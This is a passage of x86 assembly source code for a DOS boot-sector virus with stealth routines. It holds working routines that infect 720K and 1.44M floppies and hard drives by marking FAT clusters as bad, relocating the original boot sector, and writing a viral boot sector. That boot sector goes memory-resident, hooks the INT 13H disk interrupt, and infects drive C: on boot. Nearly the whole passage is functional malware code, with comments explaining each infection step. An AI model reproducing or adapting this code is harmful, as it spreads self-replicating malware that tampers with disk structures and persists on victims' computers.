mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
|||
|
mov dl,al ;drive to write to
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,4F0AH ;track 79, sector 10
|
|||
|
mov ax,0305H ;write 5 sectors
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
INF12M_EXIT:
|
|||
|
ret ;all done
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
|
|||
|
;drives. The virus goes in an existing data area on the disk, so no formatting
|
|||
|
;is required. Instead, we 1) Mark the diskette's FAT to indicate that the last
|
|||
|
;three clusters are bad, so that DOS will not attempt to overwrite the virus
|
|||
|
;code. 2) Read the boot sector and put it at Track 79, Head 1 sector 9, 3) Put
|
|||
|
;the five sectors of stealth routines at Track 79, Head 1, sector 4-8, 4) Put
|
|||
|
;the viral boot sector at Track 0, Head 0, Sector 1.
|
|||
|
|
|||
|
INFECT_720K:
|
|||
|
mov dl,al ;read the FAT from
|
|||
|
mov cx,4 ;track 0, sector 4, head 0
|
|||
|
mov dh,0
|
|||
|
call READ_DISK
|
|||
|
mov bx,ax
|
|||
|
jc INF720_EXIT
|
|||
|
|
|||
|
mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM
|
|||
|
mov ax,[di] ;make sure nothing is stored
|
|||
|
or ax,[di+2] ;if it is, abort infect...
|
|||
|
or ax,[di+4] ;don't wipe out any data
|
|||
|
jnz INF720_EXIT ;if so, abort infection
|
|||
|
|
|||
|
mov ax,07FF7H
|
|||
|
stosw
|
|||
|
mov ax,0F7FFH ;marking the last 6 clusters
|
|||
|
stosw ;as bad
|
|||
|
mov ax,0000FH
|
|||
|
stosw
|
|||
|
|
|||
|
mov ax,bx ;write the FAT back to disk
|
|||
|
mov cx,4 ;at track 0, sector 4, head 0
|
|||
|
mov dl,bl
|
|||
|
mov dh,0
|
|||
|
call WRITE_DISK ;write the FAT back to disk
|
|||
|
jc INF720_EXIT
|
|||
|
INF720_RETRY:
|
|||
|
mov dl,al ;write the 2nd FAT too,
|
|||
|
mov cx,7 ;at track 0, sector 7, head 0
|
|||
|
mov dh,0
|
|||
|
call WRITE_DISK
|
|||
|
jc INF720_RETRY ;must retry, since 1st fat done
|
|||
|
|
|||
|
call GET_BOOT_SEC ;read the boot sector in
|
|||
|
jc INF720_EXIT
|
|||
|
|
|||
|
mov dl,al ;write the orig boot sector at
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,4F09H ;track 79, sector 9
|
|||
|
call WRITE_DISK
|
|||
|
jc INF720_EXIT
|
|||
|
|
|||
|
push ax
|
|||
|
mov di,OFFSET BOOT_DATA
|
|||
|
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
|||
|
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
|||
|
|
|||
|
mov cx,32H / 2 ;copy boot sector disk info over
|
|||
|
rep movsw ;to new boot sector
|
|||
|
mov BYTE PTR [DR_FLAG],2 ;set proper diskette type
|
|||
|
pop ax
|
|||
|
|
|||
|
call PUT_BOOT_SEC ;go write it to disk
|
|||
|
jc INF720_EXIT
|
|||
|
|
|||
|
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
|||
|
mov dl,al ;drive to write to
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,4F04H ;track 79, sector 4
|
|||
|
mov ax,0305H ;write 5 sectors
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
INF720_EXIT:
|
|||
|
ret ;all done
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
|
|||
|
;same as infecting a 720K diskette, except that the virus is placed in sectors
|
|||
|
;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
|
|||
|
|
|||
|
INFECT_144M:
|
|||
|
mov dl,al ;read the FAT from
|
|||
|
mov cx,0AH ;track 0, sector 10, head 0
|
|||
|
mov dh,0
|
|||
|
call READ_DISK
|
|||
|
mov bx,ax
|
|||
|
jc INF720_EXIT
|
|||
|
|
|||
|
mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM
|
|||
|
mov ax,[di] ;make sure nothing is stored
|
|||
|
and ax,0FFF0H ;in any of these clusters
|
|||
|
or ax,[di+2] ;if it is, abort infect...
|
|||
|
or ax,[di+4] ;don't wipe out any data
|
|||
|
or ax,[di+6]
|
|||
|
or ax,[di+8]
|
|||
|
jnz INF144M_EXIT ;if so, abort infection
|
|||
|
|
|||
|
mov ax,es:[di]
|
|||
|
and ax,000FH
|
|||
|
add ax,0FF70H
|
|||
|
stosw
|
|||
|
mov ax,07FF7H ;marking the last 6 clusters
|
|||
|
stosw ;as bad
|
|||
|
mov ax,0F7FFH
|
|||
|
stosw
|
|||
|
mov ax,0FF7FH
|
|||
|
stosw
|
|||
|
mov ax,0FF7H
|
|||
|
stosw
|
|||
|
|
|||
|
mov ax,bx ;write the FAT back to disk
|
|||
|
mov cx,0AH ;at track 0, sector 10, head 0
|
|||
|
mov dl,bl
|
|||
|
mov dh,0
|
|||
|
call WRITE_DISK ;write the FAT back to disk
|
|||
|
jc INF144M_EXIT
|
|||
|
INF144M_RETRY:
|
|||
|
mov dl,al ;write the 2nd FAT too,
|
|||
|
mov cx,1 ;at track 0, sector 1, head 1
|
|||
|
mov dh,1
|
|||
|
call WRITE_DISK
|
|||
|
jc INF144M_RETRY ;must retry, since 1st fat done
|
|||
|
|
|||
|
call GET_BOOT_SEC ;read the boot sector in
|
|||
|
jc INF144M_EXIT
|
|||
|
|
|||
|
mov dl,al ;write the orig boot sector at
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,4F12H ;track 79, sector 18
|
|||
|
call WRITE_DISK
|
|||
|
jc INF144M_EXIT
|
|||
|
|
|||
|
push ax
|
|||
|
mov di,OFFSET BOOT_DATA
|
|||
|
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
|||
|
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
|||
|
|
|||
|
mov cx,32H / 2 ;copy boot sector disk info over
|
|||
|
rep movsw ;to new boot sector
|
|||
|
mov BYTE PTR [DR_FLAG],3 ;set proper diskette type
|
|||
|
pop ax
|
|||
|
|
|||
|
call PUT_BOOT_SEC ;go write it to disk
|
|||
|
jc INF144M_EXIT
|
|||
|
|
|||
|
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
|||
|
mov dl,al ;drive to write to
|
|||
|
mov dh,1 ;head 1
|
|||
|
mov cx,4F0DH ;track 79, sector 13
|
|||
|
mov ax,0305H ;write 5 sectors
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
INF144M_EXIT:
|
|||
|
ret ;all done
|
|||
|
|
|||
|
;Read one sector into SCRATCHBUF from the location specified in dx,cx. Preserve
|
|||
|
;ax, and return c set properly. Assumes es set up properly.
|
|||
|
READ_DISK:
|
|||
|
push ax
|
|||
|
mov bx,OFFSET SCRATCHBUF
|
|||
|
mov ax,0201H
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H]
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
;Write one sector from SCRATCHBUF into the location specified in dx,cx. Preserve
|
|||
|
;ax, and return c set properly.
|
|||
|
WRITE_DISK:
|
|||
|
push ax
|
|||
|
mov bx,OFFSET SCRATCHBUF
|
|||
|
mov ax,0301H
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H]
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Infect Hard Disk Drive AL with this virus. This involves the following steps:
|
|||
|
;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
|
|||
|
;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
|
|||
|
;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
|
|||
|
;routines to Track 0, Head 0, Sector 2, 5 sectors total.
|
|||
|
|
|||
|
INFECT_HARD:
|
|||
|
mov al,80H ;set drive type flag to hard disk
|
|||
|
mov BYTE PTR [DR_FLAG],al ;cause that's where it's going
|
|||
|
|
|||
|
call GET_BOOT_SEC ;read the present boot sector
|
|||
|
|
|||
|
mov bx,OFFSET SCRATCHBUF ;and go write it at
|
|||
|
push ax
|
|||
|
mov dl,al
|
|||
|
mov dh,0 ;head 0
|
|||
|
mov cx,0007H ;track 0, sector 7
|
|||
|
mov ax,0301H ;BIOS write, for 1 sector
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
pop ax
|
|||
|
|
|||
|
push ax
|
|||
|
mov di,OFFSET BOOT_DATA
|
|||
|
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
|||
|
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
|||
|
|
|||
|
mov cx,32H / 2 ;copy boot sector disk info over
|
|||
|
rep movsw ;to new boot sector
|
|||
|
mov di,OFFSET BOOT_START + 200H - 42H
|
|||
|
mov si,OFFSET SCRATCHBUF + 200H - 42H
|
|||
|
mov cx,21H ;copy partition table
|
|||
|
rep movsw ;to new boot sector too!
|
|||
|
pop ax
|
|||
|
|
|||
|
call PUT_BOOT_SEC ;write viral boot sector
|
|||
|
|
|||
|
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
|||
|
mov dl,al ;drive to write to
|
|||
|
mov dh,0 ;head 0
|
|||
|
mov cx,0002H ;track 0, sector 2
|
|||
|
mov ax,0305H ;write 5 sectors
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This routine determines if a hard drive C: exists, and returns NZ if it does,
|
|||
|
;Z if it does not.
|
|||
|
IS_HARD_THERE:
|
|||
|
push ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov bx,475H ;Get hard disk count from bios
|
|||
|
mov al,[bx] ;put it in al
|
|||
|
pop ds
|
|||
|
cmp al,0 ;and see if al=0 (no drives)
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
|
|||
|
;prserve AL!
|
|||
|
|
|||
|
GET_BOOT_SEC:
|
|||
|
push ax
|
|||
|
mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector
|
|||
|
mov dl,al ;this is the drive to read from
|
|||
|
mov dh,0 ;head 0
|
|||
|
mov ch,0 ;track 0
|
|||
|
mov cl,1 ;sector 1
|
|||
|
mov al,1 ;read 1 sector
|
|||
|
mov ah,2 ;BIOS read function
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;This routine writes the data in BOOT_START to the drive in al at Track 0,
|
|||
|
;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
|
|||
|
|
|||
|
PUT_BOOT_SEC:
|
|||
|
push ax
|
|||
|
mov bx,OFFSET BOOT_START
|
|||
|
mov dl,al ;this is the drive to write to
|
|||
|
mov dh,0 ;head 0
|
|||
|
mov ch,0 ;track 0
|
|||
|
mov cl,1 ;sector 1
|
|||
|
mov al,1 ;read 1 sector
|
|||
|
mov ah,3 ;BIOS write function
|
|||
|
pushf
|
|||
|
call DWORD PTR [OLD_13H] ;(int 13H)
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
|
|||
|
;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
|
|||
|
;are checked to see if they are identical. If so, it must be the viral boot
|
|||
|
;sector. It is assumed that es and ds are properly set to this segment when
|
|||
|
;this is called.
|
|||
|
|
|||
|
IS_VBS:
|
|||
|
push si ;save these
|
|||
|
push di
|
|||
|
cld
|
|||
|
mov di,OFFSET BOOT ;set up for a compare
|
|||
|
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
|
|||
|
mov si,OFFSET SB_BOOT ;required instead of ^ for A86
|
|||
|
|
|||
|
mov cx,15
|
|||
|
repz cmpsw ;compare 30 bytes
|
|||
|
pop di ;restore these
|
|||
|
pop si
|
|||
|
ret ;and return with z properly set
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *
|
|||
|
;*******************************************************************************
|
|||
|
|
|||
|
ORG 7A00H
|
|||
|
|
|||
|
SCRATCHBUF: ;a total of 512 bytes
|
|||
|
DB 3 dup (0)
|
|||
|
SB_BOOT_DATA: ;with references to correspond
|
|||
|
DB 32H dup (0) ;to various areas in the boot
|
|||
|
SB_DR_FLAG: ;sector at 7C00
|
|||
|
DB 0 ;these are only needed by A86
|
|||
|
SB_BOOT: ;tasm and masm will let you
|
|||
|
DB 458 dup (0) ;just do "db 512 dup (0)"
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************************
|
|||
|
;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
|
|||
|
;*******************************************************************************
|
|||
|
|
|||
|
ORG 7C00H ;Starting location for boot sec
|
|||
|
|
|||
|
|
|||
|
BOOT_START:
|
|||
|
jmp SHORT BOOT ;jump over data area
|
|||
|
db 090H ;an extra byte for near jump
|
|||
|
|
|||
|
|
|||
|
BOOT_DATA:
|
|||
|
db 32H dup (?) ;data area and default dbt
|
|||
|
;(copied from orig boot sector)
|
|||
|
|
|||
|
DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy
|
|||
|
; 1=1.2M Floppy
|
|||
|
; 2=720K Floppy
|
|||
|
; 3=1.4M Floppy
|
|||
|
; 80H=Hard Disk
|
|||
|
|
|||
|
;The boot sector code starts here
|
|||
|
BOOT:
|
|||
|
cli ;interrupts off
|
|||
|
xor ax,ax
|
|||
|
mov ss,ax
|
|||
|
mov ds,ax
|
|||
|
mov es,ax ;set up segment registers
|
|||
|
mov sp,OFFSET BOOT_START ;and stack pointer
|
|||
|
sti
|
|||
|
|
|||
|
mov cl,6 ;prep to convert kb's to seg
|
|||
|
mov ax,[MEMSIZE] ;get size of memory available
|
|||
|
shl ax,cl ;convert KBytes into a segment
|
|||
|
sub ax,7E0H ;subtract enough so this code
|
|||
|
mov es,ax ;will have the right offset to
|
|||
|
sub [MEMSIZE],4 ;go memory resident in high ram
|
|||
|
|
|||
|
GO_RELOC:
|
|||
|
mov si,OFFSET BOOT_START ;set up ds:si and es:di in order
|
|||
|
mov di,si ;to relocate this code
|
|||
|
mov cx,256 ;to high memory
|
|||
|
rep movsw ;and go move this sector
|
|||
|
push es
|
|||
|
mov ax,OFFSET RELOC
|
|||
|
push ax ;push new far @RELOC onto stack
|
|||
|
retf ;and go there with retf
|
|||
|
|
|||
|
RELOC: ;now we're in high memory
|
|||
|
push es ;so let's install the virus
|
|||
|
pop ds
|
|||
|
nop
|
|||
|
mov bx,OFFSET STEALTH ;set up buffer to read virus
|
|||
|
mov al,BYTE PTR [DR_FLAG] ;drive number
|
|||
|
cmp al,0 ;Load from proper drive type
|
|||
|
jz LOAD_360
|
|||
|
cmp al,1
|
|||
|
jz LOAD_12M
|
|||
|
cmp al,2
|
|||
|
jz LOAD_720
|
|||
|
cmp al,3
|
|||
|
jz LOAD_14M ;if none of the above,
|
|||
|
;then it's a hard disk
|
|||
|
|
|||
|
LOAD_HARD: ;load virus from hard disk
|
|||
|
mov dx,80H ;hard drive 80H, head 0,
|
|||
|
mov ch,0 ;track 0,
|
|||
|
mov cl,2 ;start at sector 2
|
|||
|
jmp SHORT LOAD1
|
|||
|
|
|||
|
LOAD_360: ;load virus from 360 K floppy
|
|||
|
mov ch,39 ;track 39
|
|||
|
mov cl,4 ;start at sector 4
|
|||
|
jmp SHORT LOAD
|
|||
|
|
|||
|
LOAD_12M: ;load virus from 1.2 Meg floppy
|
|||
|
mov ch,79 ;track 80
|
|||
|
mov cl,10 ;start at sector 10
|
|||
|
jmp SHORT LOAD
|
|||
|
|
|||
|
LOAD_720: ;load virus from 720K floppy
|
|||
|
mov ch,79 ;track 79
|
|||
|
mov cl,4 ;start at sector 4
|
|||
|
jmp SHORT LOAD ;go do it
|
|||
|
|
|||
|
LOAD_14M: ;load from 1.44 Meg floppy
|
|||
|
mov ch,79 ;track 79
|
|||
|
mov cl,13 ;start at sector 13
|
|||
|
; jmp SHORT LOAD ;go do it
|
|||
|
|
|||
|
LOAD: mov dx,100H ;disk 0, head 1
|
|||
|
LOAD1: mov ax,206H ;read 6 sectors
|
|||
|
int 13H ;call BIOS to read it
|
|||
|
jc LOAD1 ;try again if it fails
|
|||
|
|
|||
|
MOVE_OLD_BS:
|
|||
|
xor ax,ax ;now move old boot sector into
|
|||
|
mov es,ax ;low memory
|
|||
|
mov si,OFFSET SCRATCHBUF ;at 0000:7C00
|
|||
|
mov di,OFFSET BOOT_START
|
|||
|
mov cx,256
|
|||
|
rep movsw
|
|||
|
|
|||
|
SET_SEGMENTS: ;change segments around a bit
|
|||
|
cli
|
|||
|
mov ax,cs
|
|||
|
mov ss,ax
|
|||
|
mov sp,OFFSET STEALTH ;set up the stack for the virus
|
|||
|
push cs ;and also the es register
|
|||
|
pop es
|
|||
|
|
|||
|
INSTALL_INT13H: ;now hook the Disk BIOS int
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov si,13H*4 ;save the old int 13H vector
|
|||
|
mov di,OFFSET OLD_13H
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
mov ax,OFFSET INT_13H ;and set up new interrupt 13H
|
|||
|
mov bx,13H*4 ;which everybody will have to
|
|||
|
mov ds:[bx],ax ;use from now on
|
|||
|
mov ax,es
|
|||
|
mov ds:[bx+2],ax
|
|||
|
sti
|
|||
|
|
|||
|
CHECK_DRIVE:
|
|||
|
push cs ;set ds to point here now
|
|||
|
pop ds
|
|||
|
cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive,
|
|||
|
jz DONE ;nothing else needed at boot
|
|||
|
|
|||
|
FLOPPY_DISK: ;if loading from a floppy drive,
|
|||
|
call IS_HARD_THERE ;see if a hard disk exists here
|
|||
|
jz DONE ;no hard disk, all done booting
|
|||
|
mov al,80H ;else load boot sector from C:
|
|||
|
call GET_BOOT_SEC ;into SCRATCHBUF
|
|||
|
call IS_VBS ;and see if C: is infected
|
|||
|
jz DONE ;yes, all done booting
|
|||
|
call INFECT_HARD ;else go infect hard drive C:
|
|||
|
|
|||
|
DONE:
|
|||
|
mov si,OFFSET PART ;clean partition data out of
|
|||
|
mov di,OFFSET PART+1 ;memory image of boot sector
|
|||
|
mov cx,3FH ;so it doesn't get spread to
|
|||
|
mov BYTE PTR [si],0 ;floppies when we infect them
|
|||
|
rep movsb
|
|||
|
|
|||
|
xor ax,ax ;now go execute old boot sector
|
|||
|
push ax ;at 0000:7C00
|
|||
|
mov ax,OFFSET BOOT_START
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
ORG 7DBEH
|
|||
|
|
|||
|
PART: DB 40H dup (?) ;partition table goes here
|
|||
|
|
|||
|
ORG 7DFEH
|
|||
|
|
|||
|
DB 55H,0AAH ;boot sector ID goes here
|
|||
|
|
|||
|
ENDCODE: ;label for the end of boot sec
|
|||
|
|
|||
|
COMSEG ENDS
|
|||
|
|
|||
|
END START
|
|||
|
|